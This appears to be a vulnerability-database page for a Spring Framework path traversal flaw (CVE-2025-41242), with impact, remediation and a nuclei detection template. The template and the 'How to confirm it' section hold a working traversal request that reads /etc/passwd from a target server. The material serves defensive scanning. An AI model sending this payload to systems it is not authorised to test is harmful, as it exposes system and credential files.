HexBrain

Browse / CVEs / CVE-2025-41242

CVE-2025-41242· CWE-22

Spring Framework - Path Traversal

mediumseverity
5.9CVSS score
2.3%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it

Spring Framework MVC applications deployed as WAR or with embedded Servlet containers that do not reject suspicious URI sequences and serve static resources with Spring resource handling contain a path traversal vulnerability, letting attackers access unauthorized files, exploit requires non-compliant Servlet container configuration.

Impact

Attackers can access unauthorized files via path traversal, potentially exposing sensitive data or system files.

Fix

Upgrade to the latest Spring Framework version and ensure deployment on compliant Servlet containers with default security features enabled.

How to confirm it

Send: GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64
Positive when: regex('root:.*:0:0:', body) and contains(header, "application/octet-stream") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-41242 -u <target>

The full check
id: CVE-2025-41242

info:
  name: Spring Framework - Path Traversal
  author: DhiyaneshDk
  severity: medium
  description: |
    Spring Framework MVC applications deployed as WAR or with embedded Servlet containers that do not reject suspicious URI sequences and serve static resources with Spring resource handling contain a path traversal vulnerability, letting attackers access unauthorized files, exploit requires non-compliant Servlet container configuration.
  reference:
    - https://x.com/phithon_xg/status/2048853566564221372
    - https://github.com/vulhub/vulhub/tree/master/spring/CVE-2025-41242
    - https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2025-41242
  impact: |
    Attackers can access unauthorized files via path traversal, potentially exposing sensitive data or system files.
  remediation: |
    Upgrade to the latest Spring Framework version and ensure deployment on compliant Servlet containers with default security features enabled.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.9
    cve-id: CVE-2025-41242
    epss-score: 0.02296
    epss-percentile: 0.83416
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,spring,jetty,lfi,uri

http:
  - raw:
      - |+
        GET /阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64 HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    unsafe: true

    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - contains(header, "application/octet-stream")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from